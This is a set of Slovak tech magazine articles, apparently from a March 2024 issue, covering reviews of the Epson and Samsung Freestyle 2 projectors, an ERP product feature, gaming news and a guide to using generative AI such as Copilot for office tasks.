nej zostave reproduktorov alebo soundbare. 
Projektor nemá zvukový výstup, takže ak vám 
nestačí hlasitosť a kvalita vstavaného repro-
duktora, riešením je napríklad soundbar s ko-
nektorom HDMI eARC.

   »  ĽUBOSLAV LACKO

EPSON CO-FH02

Full HD projektor s Android TV

„KOMPAKTNÝ 
PROJEKTOR S VYSOKÝM 

JASOM A PRIBALENÝM 
STREAMOVACÍM 

MODULOM  
ANDROID TV.“

PLUSY, MÍNUSY:

+

–
PARAMETRE:

 Technológia 3LCD, uzávierka s tekutými 
kryštálmi RGB, LCD 0,69 palca, rozlíšenie full HD 
1080p, 16,77 milióna farieb, pomer strán obrazu 
16:9, svietivosť bielej 3000 lúmenov (2000 
lúmenov úsporný režim); uhlopriečka pre-
mietaného obrazu 26 – 391 palcov; projekčná 
vzdialenosť 0,9 m - 10,4 m; spotreba energie 
270 W, 214 W (úsporný režim), 0,5 W (v režime 
spánku); reproduktor 5 W; hladina hluku 37 dB 
(A), úsporný režim 29 dB (A); životnosť lampy 
6000 h, 12 000 h v úspornom režime; rozmery 
320× 211 × 87 mm hmotnosť 2,6 kg 
 Cena: 561 EUR

HODNOTENIE:

Vysoká svietivosť, pribalený streamovací 
modul Android TV, možnosti pripojenia, 
relatívne tiché chladenie
Objektív nemá zoom
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» Samsung patrí síce k popredným svetovým 
výrobcom televízorov, ale v jeho portfóliu 
nájdeme aj zopár projektorov. Samsung The 
Freestyle bol pôvodne predstavený ešte v 
minulom roku a tešil sa medzi zákazníkmi 
veľkej obľube. V tomto roku prichádza jeho 
modernizovaná verzia The Freestyle 2, ktorá 
síce nesrší množstvom inovácií, ale tie, ktoré 
má, stoja za to. 

The Freestyle 2 je ľahko prenosný projektor 
s možnosťou napájania zo siete cez adaptér 
alebo pomocou voliteľnej prídavnej batérie. 
Konštrukcia a vlastnosti plne vychádzajú z 
predchádzajúceho modelu. Projekčná jed-
notka DLP LED pracuje s natívnym rozlíše-
ním full HD, maximálnym jasom 550 LED lm, 
pričom možno vytvoriť obraz s veľkosťou 30 
– 100". Jednou z hlavných vlastností Freestyle 
je rýchle a jednoduché nastavenie. Stoosem-
desiatstupňový dizajn základne uľahčuje 
zameranie projektora na takmer akýkoľvek 
rovný povrch okolo vás alebo nad vami, či už 
pôjde o stenu, alebo strop. V prípade potreby 
ho však možno pokojne zavesiť a premietať na 
stenu alebo podlahu. Vďaka tomu možno pro-
jektor príležitostne používať aj na prezentácie 
a signage. Veľkou prednosťou projektora je 
automatické zaostrenie a korekcia geometrie 
obrazu. Tá vyrovná po zapnutí skreslenie ob-
razu vo všetkých smeroch. V menu projektora 
potom nájdete všetky nastavenia geometrie 
aj možnosť zmenšenia obrazu až na 80 %. To 
je užitočné pri použití v miestnosti, ak vám 
prekáža nejaký nábytok a podobne. Úplnou 
novinkou je možnosť využitia funkcie Edge 
Blending, ktorú sme doteraz poznali iba pri 
profesionálnych projektoroch. Jednoducho 
povedané, ide o spojenie obrazu z dvoch 
projektorov The Freestyle 2 do jedného ul-
traširokouhlého s pomerom strán 21:9. Na to, 
pochopiteľne, nestačí iba dať 
projektory k sebe, aby sa 
obrazy prekrývali. Je po-
trebná synchronizácia 
oboch projektorov 
a zamaskovanie 
prekrytia, ktoré je 
asi na 1/3 obrazu. 
Samsung to má vy-
riešené veľmi dobre. 
Funkcia Edge Blen-
ding sa vyvolá cez apliká-
ciu Smart Things. Po pripojení 
oboch projektorov sa na plátne 
zobrazia zarovnávacie značky z 
každého projektora, ktoré treba 
nastavením projektorov zosúla-

diť. Potom sa ich vyfotením v aplikácii vykoná 
ich synchronizácia a vy máte pred sebou veľký 
širokouhlý obraz, ktorým pokryjete naozaj 
veľkú stenu. Prekrytie obrazov funguje vý-
borne, ale celú plochu rozšíreného obrazu sa 
mi podarilo vyplniť iba fotkami. Pri spustení 
hry alebo filmu sa obsah prehráva v strede, ale 
nie na celej ploche. Žiaľ, natívny 21:9 obsah 
som nemal, takže to môže byť aj tým. V kaž-
dom prípade je však obraz z dvojice projekto-
rov impozantný a v tejto cenovej kategórii ho 
len tak neuvidíte. 

Projektor je štandardne napájaný pomo-
cou kábla USB-C z priloženej 65 W nabíjačky. 
Projektor nemá vstavanú batériu, Samsung 
však pod názvom Freestyle Battery Base po-
núka voliteľne externú základňu, ktorá sa 
pripevňuje na spodnú časť jednotky. Baté-
ria s kapacitou až 32 000 mAh/3,6 V dokáže 
podľa výrobcu napájať Freestyle až 3 hodiny 
bez obmedzenia výkonu. To je dôležité uviesť, 
pretože viacero prenosných projektorov síce 
ponúka napájanie zo vstavanej batérie, ale 
svetelný výkon sa pri takejto prevádzke vý-
razne zníži. Batéria vo Freestyle Battery Base 
je dostatočne výkonná na to, aby napájala 
Freestyle a zároveň nabíjala cez USB-C mo-
bilné zariadenie. Freestyle však môže niekoľko 
hodín bežať cez sieťový adaptér USB-C s výko-
nom 50 W/20 V, v balení nájdete adaptér s vý-
konom 65 W. Ponuka batérie ako voliteľného 
externého zdroja je podľa mňa dobrý nápad. 
Znižuje to počiatočné náklady a hmotnosť 
projektora, zatiaľ čo umožňuje zákazníkom 
rozšíriť jeho prenosnosť, ak to potrebujú. Fakt 
je, že koncepcia projektora k tomu priam vy-
zýva. Ja som na napájanie používal aj power-
bank s kapacitou 40 000 mAh a výstupom PD 
65 W a skúšal som aj box na nabíjanie batérií 
pre DJI Air 3, ktorý môže poslúžiť aj ako veľký 
powerbank. Dokazuje to, akú veľkú variabilitu 

máte k dispozícii s podporou napájania 
Power Delivery. Samsung k projektoru 

ponúka aj ďalšie príslušenstvo. Na 
výber sú napríklad silikónové 

obaly v troch rôznych 
farbách, ktoré mô-

žete vymeniť za 
pôvodný biely. 
Vzhľadom na 
prenosnosť za-
riadenia to pova-

žujem za užitočné, 
obal chráni projek-

tor pred poškriabaním. 
K dispozícii je aj pevné 
prenosné puzdro s kara-

bínou, ktoré umožňuje prenášať projektor, aj 
keď ste niekde v prírode. Žiaľ, zmestí sa doň 
iba samotný projektor bez prídavnej batérie, 
bez ovládača (bez ktorého je v podstate nepo-
užiteľný) aj bez napájacieho adaptéra či kábla. 
Takže všetko ostatné musíte aj tak nosiť zvlášť. 
Projektor je však chránený. 

The Freestyle 2 využíva OS Tizen s rovna-
kým používateľským rozhraním ako v televízo-
roch Samsung. Podobný je aj smart diaľkový 
ovládač, ktorý je teraz nový, s možnosťou so-
lárneho nabíjania. Vďaka tomu ponúka prístup 
k niektorým z najpopulárnej-
ších streamovacích platforiem 
ako Netflix, Disney plus, HBO 
Max, Sledovani TV, YouTube 
a všetky ďalšie, na ktoré ste 
zvyknutí z TV Samsung. Po-
chopiteľne, všetko toto môžete využívať aj 
pri napájaní na batériu niekde v altáne, stačí 
si vytvoriť prístupový bod z vášho smartfónu 
a je to. Je tiež kompatibilný s hlasovým asis-
tentom Samsung Bixby. To vám dáva možnosť 
ovládať projektor a vyhľadať konkrétny obsah 
na sledovanie. Navyše podporuje casting aj 
prostredníctvom AirPlay.

Zvukový systém sa nemenil, k dispozícii je 
5 W mono menič, ktorý poskytuje 360-stup-
ňové zvukové pole. Na pomery projektorov 
je zvuk vcelku kvalitný a vďaka tichej pre-
vádzke aj použiteľný. Keby nestačil alebo 
nechcete v noci rušiť okolie, možno pripojiť 
cez bluetooth reproduktor alebo slúchadlá. 
Súčasne môžu byť pripojené dve zariadenia. 
Svietivosť 550 lm postačuje na vytvorenie 
kvalitného obrazu s uhlopriečkou až 100" zo 
vzdialenosti 2,7 m v úplnej tme alebo men-
šieho pri okolitom svetle. 
  »  RENÉ HUBINSKÝ 

SAMSUNG FREESTYLE 2

„ZAUJÍMAVÝ 
PRENOSNÝ SMART 
PROJEKTOR.“

Kino aj so sebou

PLUSY, MÍNUSY:

+

–

Kvalita obrazu, automatické nastavenie, 
Edge Blending, Smart TV, dizajn, konek-
tivita, USB-C s PD
Iba konektor micro HDMI 

PARAMETRE:

 Technológia: LED, DLP, rozlíšenie: 1920 × 1080, 
svietivosť: 550 LED lm, životnosť svetelného zdroja 
20 000 h, kontrast: 100 000:1, projekčný pomer: 
pevný objektív 1.2, digitálne zmenšenie 100 % – 
80 %, automatická digitálna korekcia skreslenia, 
automatické zaostrovanie, režim Edge Blending, 
reproduktory: 1 × 5 W, akumulátor (voliteľný): 32 
000 mAh/3,6 V, výdrž 3 – 4 h, Smart TV, podpora 
hlasového asistenta Samsung Bixby, konektory: 
micro HDMI (e-ARC), USB-C (DP), bezdrôtová 
konektivita: Wi-Fi, bluetooth 5.2, rozmery: 104,2 × 
172,8 × 95,2 mm, hmotnosť: 0,8 kg
  Cena:  Freestyle – 749 EUR, Freestyle Battery 
Base – 159 EUR

HODNOTENIE:
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» Asseco Solutions pôsobí na trhu už viac 
ako 30 rokov a počas svojej existencie vy-
vinulo niekoľko generácií riešení ERP, ko-
pírujúcich potreby trhu. Všetky v plnom 
rozsahu podporujú slovenskú legislatívu 
a spĺňajú aj medzinárodné štandardy IFRS. 

QASIDA je nástupcom osvedčeného rie-
šenia ERP Asseco SPIN. Generačná výmena 
prináša významné technologické inovácie. 
Ide o hybridné riešenie, ktorého srdcom je 
QASIDA ERP, doplnený o ďalšie cloudové a 
webové aplikácie, čím sa riešenie postupne 
posúva z klasického on-premise do cloudu. 
O niekoľko rokov bude toto riešenie čisto 
cloudové. 

Súčasťou sú ďalšie aplikácie, napríklad 
CRM na riadenie vzťahov so zákazníkmi, 
Rental pre požičovne na evidovanie a 
správu výpožičiek či Service na evidovanie 
a správu servisných zákaziek. Tieto apli-
kácie môžu fungovať aj samostatne ako 
jednoúčelové aplikácie, no pokiaľ chce 
mať používateľ komplexnú funkciona-
litu, možno ich napojiť na QASIDA ERP. To 
umožňuje získať ucelený prehľad o celko-
vom fungovaní procesov vo firme a zdieľať 
napríklad údaje o zákazníkoch. Ak zákazník 
príde do servisu, servisný technik vykoná 
nejaký úkon, vykáže svoju prácu a spotre-
bovaný materiál. Tieto údaje sa prenášajú 
do ERP, kde sa sleduje, či je zákazka uhra-
dená. Vidí ich aj ekonomické či finančné 
oddelenie, aby mohli robiť prehľady alebo 
predikcie.  

Riešenie je škálovateľné a nedá sa jed-
noznačne povedať, pre akú veľkosť firmy je 
primárne určené. Napríklad aplikácia CRM 
má význam pre živnostníka či začínajúcu 
malú firmu. Každý predsa chce mať komu-
nikáciu so zákazníkmi evidovanú, aby mal 
prehľad, koľkokrát s potenciálnym zákazní-
kom volal, akú cenovú ponuku mu dal, aké 
boli jeho reakcie a či sa ponuka preklopila 
na reálny obchod. Každý bez ohľadu na veľ-
kosť firmy chce mať prehľad o svojich pro-
cesoch, aby tieto údaje mohol analyzovať 
a na základe nich plánovať. Systém dokáže 
pokryť potreby firiem akejkoľvek veľkosti. 
Inak povedané, aplikácia CRM je vhodná 
pre firmy, ktoré majú jedného či niekoľko 
obchodníkov, ako aj pre firmy, ktoré majú 
desiatky či stovky obchodníkov. Filozofiou 
škálovateľného riešenia je pokryť aktuálne 

potreby firmy, vyriešiť jej aktuálne prob-
lémy a následne, keď firma začne rásť, rie-
šenie sa rozširuje tak, aby efektívne pokrylo 
všetky procesy, či už ide o CRM, sklady, lo-
gistiku, prepojenie na e-shop, komplexnú 
cenotvorbu, alebo prechod účtovníctva od 
externého účtovníka na vlastných zamest-
nancov. Systém možno rozšíriť o ekono-
mické prehľady, pokladňu, banku, správu 
majetku, daňové výkazníctvo a podobne. 
Tak ako firma rastie a menia sa jej potreby, 
možno systém rozširovať či vymeniť nie
ktorú jeho časť. 

Integrácia riešenia QASIDA do IT ekosys-
tému zákazníka je jednoduchá, k dispozícii 
je nástroj na prepojenie s riešeniami tretích 
strán, ktorý umožňuje výmenu dát s via-
cerými etablovanými riešeniami a platfor-
mami. Stačí definovať potrebné atribúty, 
číselníky, ktoré sa naozaj dajú namapovať 
a prepojiť medzi systémami. Napríklad ak 
niekto má vlastný e-shop a potrebuje si 
dobudovať ekonomickú časť, QASIDA sa 
prepojí na tento e-shop, prípadne ak má 
firma špecializovaný systém, vyvinutý na 
zákazku, možno prepojiť číselníky, kategó-
rie produktov, cenníky a ďalšie údaje. Doba 
implementácie závisí od zložitosti a nároč-
nosti procesov. Pri jednoúčelových apli-
káciách, ako CRM, Service či Rental, sa čas 
implementácie pohybuje rádovo v dňoch. 
V prípade nasadenia komplexného rieše-
nia ERP zahŕňajúceho ekonomiku, logistiku, 
správu majetku a podobne, teda komplexné 
zastrešenie firemných procesov, implemen-
tácia môže trvať mesiace podľa toho, ako 

je firma pripravená na prechod na nové 
riešenie. Doba implementácie závisí aj od 
kapacít, ktoré je firma schopná a ochotná 
poskytnúť na nasadzovanie nového riešenia. 
Treba mať na pamäti, že zároveň s nasadzo-
vaním nového riešenia ERP firma potrebuje 
fungovať a realizovať svoj primárny biznis. 
Komplexnú implementáciu a následnú sta-
rostlivosť o zákazníkov Asseco rieši vlast-
nými kapacitami, do budúcnosti plánuje 
budovať a rozvíjať sieť partnerov. 

Vo všeobecnosti je používateľské rozhra-
nie ERP, CRM a ďalších podnikových systé-
mov do značnej miery unifikované, takže v 
prípade migrácie na riešenie QASIDA, alebo 
ak do firmy nastúpi pracovník, ktorý v pred-
chádzajúcom zamestnaní využíval iné rie-
šenie, trvá zaškolenie jeden, maximálne 
dva dni. Dôležité je, aby pochopil filozofiu 
riešenia, ako je to nastavené a napojené na 
firemné procesy. Práca s údajmi v jednotli-
vých oknách, utriedenie, filtrovanie, zosku-
povanie a podobne je štandardná, podobná 
ako v Exceli či iných riešeniach ERP, aj použí-
vateľské rozhranie je veľmi podobné. 

Pri vývoji riešenia QASIDA sa kládol 
dôraz na zákaznícky zážitok čiže používa-
teľské prostredie, aby bolo možné apli-
kácie jednoducho a intuitívne ovládať. 
Používateľské rozhrania všetkých aplikácií 
prechádzajú dôslednou analýzou a inter-
ným a následne aj externým testovaním s 
dôrazom na jednoduché ovládanie a funk-
cionality pre jednotlivé roly či skupiny po-
užívateľov. 

Používateľské rozhranie aj IT podpora 
firemných procesov vychádzajú z viac 
než 30-ročných skúseností. Používateľ si 
môže rozhranie prispôsobiť podľa svojich 
zvyklostí a štýlu práce, čiže v základnej 
ponuke si nechá len funkcie, ktoré často 

Asseco QASIDA  
Sofistikované riešenie ERP novej generácie
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používa. Takisto si môže definovať svoje 
vlastné akcie ako postupnosť funkcií. Sa-
mozrejme, každá firma má svoje špecifiká, 
vlastné know-how, ktoré potrebuje pretaviť 
do IT podpory procesov. Riešenie QASIDA 
ERP aj ostatné aplikácie s tým počítajú a 
vedia sa prispôsobiť špecifickým požiadav-
kám zákazníka. 

Samozrejmosť je automatizácia a kom-
plexnosť, aby všetky procesy boli nasta-
vené tak, aby informácie používateľ zadával 
len raz, aby ich nemusel znovu zadávať, ak 
v systéme už sú. Tieto údaje sa používa-
teľovi v aplikačných formulároch zobrazia 
už ako vyplnené. QASIDA automatizuje 
všetky operácie, ktoré sa zautomatizovať 
dajú. Vznikne tak digitálny bezpapierový 
workflow, ktorý je efektívnejší a zároveň 
aj ekologický. Riešenie obsahuje aj rôzne 
vychytávky, napríklad četovacie okienka, 
aby používateľ nemusel dodatočne písať 
e-maily, ale mohol interaktívne komuniko-
vať a reagovať, prípadne operatívne zistiť 
informácie, ktoré potrebuje. 

Presúvanie riešenia do cloudu znamená 
pre používateľov nižšie investičné aj pre-
vádzkové náklady a lepšiu škálovateľnosť, 
takže používateľ platí len za to, čo reálne 

využíva. Podľa aktuálnej potreby môže 
operatívne zvýšiť alebo znížiť počet po
užívateľov. Cloudové riešenie dokáže spl-
niť požiadavky moderného dynamického 
biznisu či systému práce home office. Po-
užívatelia sa vedia do systému bezpečne 
prihlásiť odkiaľkoľvek počas cesty, z hotela 
či od zákazníka. Netreba konfigurovať VPN 
či iné hardvérové prostriedky. Cloudové 
riešenie takisto znižuje riziko nepredvída-

teľných nákladov spojených s rôznymi po-
ruchami systému.

QASIDA ERP je súčasťou marketplace 
Asseco STORE, v ktorom neustále pribúdajú 
vlastné aj partnerské pluginy, doplnky a 
aplikácie. Tento priestor je otvorený aj pre 
vás, vaše služby a produkty, ktoré môžete v 
Asseco STORE ponúknuť a speňažiť. 

   »  ĽUBOSLAV LACKO



Prenosná herná konzola Nintendo Switch 
je na trhu už od roku 2017. Vo svete hier 

to znamená veľmi dlhý čas a klebety o prípra-
vách pokračovateľa, ktorý by mal prísť na svet 
ešte tento rok, nie sú prekvapivé. Aktuálny 
Switch sa predáva dobre a za minulý rok 
našlo majiteľa takmer 14 miliónov kusov, čo 
znamená iba osempercentný pokles oproti 
predošlému roku. Za celý čas sa predalo 
takmer 140 miliónov konzol Switch. Nintendo 
tak nemá dôvod na obavy, skôr prichádza čas 
sústrediť sa na to, aby bol pokračovateľ kon-
zoly dôstojným nástupcom, ktorý na úspech 
nadviaže. Procesor by mal byť typu T239 
od spoločnosti NVIDIA, ktorý je upravenou 
verziou T234 používaného v robotike a elek-
trických vozidlách. Očakáva sa podpora ray 
tracingu a vďaka strojovému učeniu aj DLSS. 
Podľa niektorých uniknutých informácií však 

možno predpokladať, 
že pôjde o konzolu, 
ktorá výkonom ne-
bude konkurovať PS5 
či aktuálnemu Xboxu. 
Kapacita pamäte 8 GB 
a 64-gigabajtové úložisko eMMC 
tiež nenaznačujú, že by malo ísť 
o prenosné „herné delo“. Niektoré 
zdroje tvrdia, že nová generácia by mala mať 
analógové ovládacie páčky a väčší displej ako 
predchodcovia. Osempalcový panel OLED 
by mal mať obnovovaciu frekvenciu 120 
Hz, čo zabezpečí vyššiu plynulosť pohybov 
na displeji. Očakáva sa spätná kompatibilita 
s hrami na prvý Switch a Nintendo by malo 
novú konzolu predstaviť svetu už v marci 
2024. Či sa bude nazývať Switch 2, nie je isté 
a pri pohľade do minulosti sa to zdá málo 

pravdepodobné. Cena sa môže pohybovať 
okolo 350 eur, treba však brať do úvahy, že 
ide o oficiálne nepotvrdené informácie. O 
hrách prispôsobených na Switch 2, ako re-
make Final Fantasy 7, Bayonetta Trilogy či 
titul z prostredia legendárneho inštalatéra 
Maria, sa hovorí pomerne otvorene už dlhší 
čas, takže oficiálne informácie možno budú 
k dispozícii už v čase vydania tohto Herného 
šialenstva.			          

NOVÉ NINTENDO SWITCH 2  
MÁME SPOZNAŤ UŽ TENTO MESIAC

Spoločnosť Bethesda je medzi hráčmi 
známa častými bugmi v hrách a neje-
den vtipný obrázok na túto tému už 

roky obieha internet. Napriek tomu jej však 
nemožno uprieť úspechy a zdá sa, že aj keď 
je vesmírne akčné RPG Starfield relatívne 
nové, už teraz ide o mimoriadne úspešnú 
a ziskovú hru. Spolunažívajú v nej hráči, 
ktorí vlastnia konzoly, s „pécečkármi“ a už 
na konci roka 2023 mala asi 13 miliónov 
predplatiteľov. Za relatívne novú ju možno 
označiť preto, že vyšla ostatnú jeseň, no vo 
vývoji vtedy bola už dlhých osem rokov. 
Divízia Xboxu v Microsofte hlásila za tretí 
kvartál takmer štyri miliardy dolárov zisku a 
zdá sa, že za veľkú časť tohto úspechu zod-
povedá práve hra Starfield. Hovorí sa, že jej 
popularitu možno sčasti pripísať podob-

nosti s legendárnymi sériami Elder Scrolls 
či Fallout, za ktorými stojí takisto Bethesda. 
Režisér Todd Howard nazval Starfield „Sky-
rimom vo vesmíre“, čo znie samo osebe 
veľmi sľubne. Keďže je titul súčasťou pred-
platného Game Pass, Microsoft zaznamenal 
rekord v počte registrácií do tejto služby v 
jeden deň. Konkrétne číslo tvorcovia ne-
zverejnili, no nebude to málo, keďže cel-
kový počet predplatiteľov je určite údaj v 
desiatkach miliónov hráčov. Prostredie je 
veľmi dôležitý predpoklad úspešnosti hry. 
V Starfielde je to vesmír, v ktorom sa hráč 
stane súčasťou skupiny cestovateľov. Tí 
objavujú neznáme kúty galaxie a na svo-
jich cestách získavajú zaujímavé artefakty. 
Ide o otvorený svet, ktorý možno pri hraní 
sledovať z pohľadu prvej či tretej osoby 

a obsahuje viac ako tisícku planét urče-
ných na pristátie a preskúmanie. Sú tu aj 
rôzne mesiace či vesmírne stanice a okrem 
reálnych objektov z galaxie Mliečna cesta 
možno navštíviť tie fiktívne, ktoré si tvor-
covia do hry pridali. Prostredie je pritom 
generované procedurálne, čo znamená, že 
je zakaždým unikátne a originálne. Hlavný 
hrdina je anonymný a mlčanlivý, takže si ho 
možno stvoriť presne podľa svojich pred-
stáv a stotožniť sa s ním. A to vrátane jeho 
schopností, ktoré budú hráčom Falloutu 
veľmi povedomé a sympatické. Zaujímavé 
je, že Starfield generuje veľkú časť ziskov 
prostredníctvom mikrotransakcií a špeciál-
nymi edíciami.

 Platformy:  Windows,  

Xbox Series X/S

STARFIELD ZARÁBA MICROSOFTU VEĽKÉ SUMY
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Po tom, ako bol Dead Island 2 exkluzivi-
tou na Epic Games, sa konečne dostane 

aj do zoznamu hier na Steame. Potrvá to 
presne rok a hra príde do najpopulárnej-
šej digitálnej distribučnej služby spolu s 
výraznými zľavami na ďalšie diely série. Ide 
o akčné RPG dejovo zasadené do obdobia 
asi 15 rokov po skončení prvého dielu. Uda-
losti sa odohrávajú v Los Angeles, ktoré je 
v karanténe pre útok živých mŕtvych. Apo-
kalypsu si môžete vychutnať v úlohe jednej 
zo šiestich postáv, ktoré sa tu označujú poj-
mom slayer. Každý slayer má svoje unikátne 
parametre, pasívne aj aktívne schopnosti a 
hráč si musí zvoliť taktiku, v ktorej sa bude 
útočiacim zombíkom vyhýbať alebo ich 
útoky blokovať. Herný svet je rozdelený na 
10 oblastí, v ktorých sa dá pohybovať voľne 
a na začiatku medzi nimi možno prechá-
dzať iba v presne určených priechodoch. 
Neskôr pribudne možnosť rýchlej telepor-
tácie, aby to nebola nuda. Ako to už býva, 
porciovať oživené mŕtvoly možno nielen 
zbraňami na boj zblízka, ale aj na diaľku. 
Zaujímavejšia je pritom tá prvá možnosť. 
Hra totiž obsahuje systém FLESH (skratka 
pre Fully Locational Evisceration System 
for Humanoids), čo v praxi znamená, že 

keď sa zaženiete, hra prepočítava dráhu 
vašej zbrane. Vďaka tomu môžete zombíka 
doslova presne naporciovať a každé zra-
nenie má realistické následky na jeho ne-
mŕtve telo. Zbrane zodpovedajú tomu, že 
ide o žáner RPG, a ich účinnosť sa odvíja aj 
od toho, aká je úroveň ich vzácnosti. Na-
pokon je tu ešte možnosť využívať vo svoj 
prospech prostredie. Dobrý príklad je elek-

trická zbraň, ktorá pomocou vlhkého bahna 
zasiahne prúdom všetkých, čo v ňom stoja. 
Zlá správa je, že sa zbrane časom opotrebú-
vajú, nechýba však možnosť opravovať ich. 
V systéme schopností treba vždy nachádzať 
rovnováhu, keďže kartičky so schopnos-
ťami môžu hráča v jednom smere zlepšiť 
a v inom zasa oslabiť. Dead Island 2 sa na 
Steam dostane presne 21. apríla 2024.

 PC, PS4, PS5, Xbox One,  

Xbox Series X/S

Bojovka Tekken 8 sa začína tam, kde sa v 
roku 2015 skončil Tekken 7. Jin Kazama 

je pripravený vyzvať svojho otca Kazuya 
Mishima a určiť tak osud sveta. Otázka 
znie, do akej miery fanúšikov bojových hier 
zaujíma príbeh, ktorý ponúkajú. Pri Tekken 
8 ich zaujíma skôr nedostatok možností, 
ktoré hra ponúka bez internetového pripo-
jenia. Naopak, pochvaľujú si stavbu hry ako 
vstupnej brány do sveta bojoviek pre úpl-
ných nováčikov. Mortal Kombat 1 a Street 

Fighter 6 majú v Tekken 8 vážnu konkuren-
ciu a hra hlási viac ako dva milióny preda-
ných kópií po necelých troch týždňoch od 
vydania, čím prekonala očakávania tvorcov. 
Na porovnanie, úspešný Tekken 7 potreboval 
na predaj rovnakého množstva kópií viac než 
dvakrát dlhší čas. Navyše sa pre ôsme pokra-
čovanie chystajú aj DLC, takže budú predaje 
určite ešte stúpať. Hráčom sa páči napríklad 
to, že v Bandai Namco si dali záležať na grafic-
kom kabáte a využili pri tom Unreal Engine 5. 

Postavy aj bojové arény prekypujú detailmi, 
no nemalý podiel na úspechu majú určite aj 
novinky. Pod názvom Heat System sa ukrýva 
inovácia, ktorá umožňuje postave dostať sa 
do stavu, v ktorom sa jej zvyšujú atribúty a 
môže získať späť časť svojho zdravia. Tento 
stav sa končí buď vypršaním jeho merania, 
alebo útokom heat burst. Týmto spôsobom 
možno strategicky ovplyvňovať vývoj súboja 
a hráč musí uvažovať, kedy tento systém, po-
užiteľný iba raz počas boja, aktivuje. Aby to 
však nebolo také zložité, tvorcovia zabudo-
vali výučbovú pomôcku pre nováčikov, ktorá 
sa dá aktivovať kedykoľvek aj počas boja. 
Keďže žijeme v dobe rozmachu umelej inteli-
gencie, nevyhla sa ani bojovým hrám. Ďalšia 
novinka je režim, v ktorom hráč bojuje proti 
„duchovi“. Ten sa pomocou umelej inteligen-
cie snaží naučiť a pochopiť vzorce hráčovho 
správania v boji. Keď sa tento duch naučí bo-
jovať ako hráč, umožní mu študovať vlastný 
štýl boja a odhaľovať svoje slabiny. Novinka v 
podobe odrážania akejsi lopty Tekken Ball asi 
nevyvolá až také nadšenie, no je tu.

 Platformy:  PC, PS5,  

Xbox Series X/S

DEAD ISLAND 2 PRÍDE NA STEAM UŽ V APRÍLI
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Nielen čoraz viac aplikácií vrátane kan-
celárskych balíkov, ale aj samotné ope-

račné systémy na automatizáciu rutinných 
úloh využívajú pokročilú umelú inteligen-
ciu a strojové učenie. Typický príklad čoraz 
hlbšej integrácie AI je Microsoft Copilot. AI 
asistuje pri rôznych viac či menej rutinných 
úlohách, ako je práca s dokumentmi, písanie 
e-mailov, tvorba prezentácií, analýza údajov 
či programovanie. 

Kvalita výstupov aplikácií generatívnej AI 
závisí od presnosti zadania. Aby ste dosiahli 
relevantné výstupy, treba presne a výstižne 
sformulovať zadanie v prirodzenom jazyku, 
napríklad: „Oznám môjmu tímu, ako sme 
aktualizovali našu produktovú stratégiu.“ 
AI následne na základe záznamov z porád, 
e-mailov a četových vlákien komunikácie 
v rámci tímu vygeneruje text opisujúci ak
tuálny stav. Na výzvu: „Pomôž mi s prípra-
vou na dnešnú poradu,“ vygeneruje návrh 
osnovy porady, ktorý potom môžete doladiť 
spresňovaním zadania. 

AI zvládne aj komplexnejšie činnosti, 
napríklad: „Priprav 10-snímkovú prezentá-
ciu na základe informácií z našej poslednej 
tlačovej správy o produkte XY.“ Na základe 
analýzy údajov v Exceli môžete pomocou 
vhodného nástroja, napríklad Copilota, zís-
kať informáciu o tom, ktoré produkty gene-

rovali najväčší zisk za uplynulý kvartál, a to 
vrátane prehľadného grafického zobrazenia. 

Generatívna AI takisto dokáže sformulo-
vať odpoveď na e-mail s návrhom zlepšení 
projektu, ktorý vám poslal niektorý člen 
tímu. Stačí sformulovať jednoduché za-
danie: „Napíš návrh odpovede na posledný 
návrh k projektu @XY, kde návrh schvaľujem, 
do textu doplň upozornenie na hlavné riziká.“ 
Text odpovede pred odoslaním, samo-
zrejme, dôkladne skontrolujete, prípadne 
upravíte, pretože treba počítať s tým, že AI 
môže vygenerovať nepresné informácie, 
môže sa mýliť, prípadne na danú vec máte 
iný názor. Môžete tiež nechať vytvoriť zhr-
nutie obsahu porady a poslať členom tímu, 
ktorí na poradu nemohli prísť, prípadne sa 
k nej nemohli pripojiť. AI vám môže pomôcť 
aj s návrhom rozpočtu pre vývojový projekt 
alebo s časovým plánom uvádzania nového 
produktu na trh. 

Nástroje generatívnej AI môžete využiť 
na vyhľadávanie informácií, napísanie textu, 
napríklad časti eseje, ktorá bude obsahovať 
požadované informácie, na riešenie mate-
matických alebo programátorských úloh, 
pričom vo výsledku budú uvedené aj zdroje, 
z ktorých boli informácie čerpané. V prípade 
potreby môžete z bežného textu vytvoriť zo-
znam s odsekmi. Jeden zo scenárov využitia 

AI je kontrola a oprava pravopisu a štylistiky, 
prípadne aj prekladov. 

Zaujímavý scenár na využitie AI je zhrnutie 
obsahu videa. Ušetrí to čas, ak ho nechcete 
sledovať celé. Zhrnutie obsahuje aj časové 
značky, kde je videu príslušná téma. V Copi-
lote to dobre funguje aj pre videá so sloven-
ským komentárom. Táto funkcia eliminuje 
jednu z hlavných nevýhod videa, že sa v ňom 
nedá rozumne vyhľadávať.

V týchto a mnohých ďalších scenároch 
vám nástroje využívajúce generatívnu AI po-
skytnú prvý návrh, od ktorého môžete začať 
upravovať, čo vám ušetrí hodiny času písa-
nia, hľadania zdrojov a úprav. Niekedy bude 
mať AI pravdu, niekedy sa pomýli, ale aj v 
prípade, ak sa pomýli, vás väčšinou posunie 
vpred. Inak povedané, už nikdy nebudete 
musieť začínať s prázdnym dokumentom. 
Ako autor alebo spoluautor dokumentu 
máte všetko pod kontrolou, formulovaním 
zadaní uplatňujete svoje nápady a poskytu-
jete generatívnej AI spätnú väzbu, aby text 
skrátila či prepísala. Alebo aj opačne – vy si 
od AI vyžiadate spätnú väzbu a požiadate 
ju, aby rozanalyzovala, prípadne preformu-
lovala text, ktorý ste vytvorili vy alebo iný 
člen vášho tímu. Integrácia generatívnej AI 
do nástrojov typu PowerPoint vám pomôže 
vytvárať pôsobivé prezentácie na základe 

AKO VYUŽIŤ AI  
NA AUTOMATIZÁCIU RUTINNÝCH ÚLOH NA PC

Skúste sa zamyslieť, koľko času trávite vybavovaním rôznej agendy, súkromnej či firemnej. 
Týka sa to nielen ľudí pracujúcich v takzvaných kancelárskych profesiách, ale aj živnostníkov 

či freelancerov. Musia denne komunikovať so zákazníkmi, dodávateľmi, zháňať materiál, 
komunikovať s rôznymi úradmi.

MAREC 202468
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jednoduchého zadania a následne pridá 
relevantný obsah z dokumentu, ktorý ste 
k danému projektu alebo téme vytvorili. 
Takisto dokáže zhrnúť kľúčové body disku-
sie mítingu v aplikácii na tímovú spoluprácu 
vrátane toho, kto čo dôležité povedal, na 
čom sa účastníci zhodli a na čom sa, naopak, 
nezhodli, a navrhne akčné body.

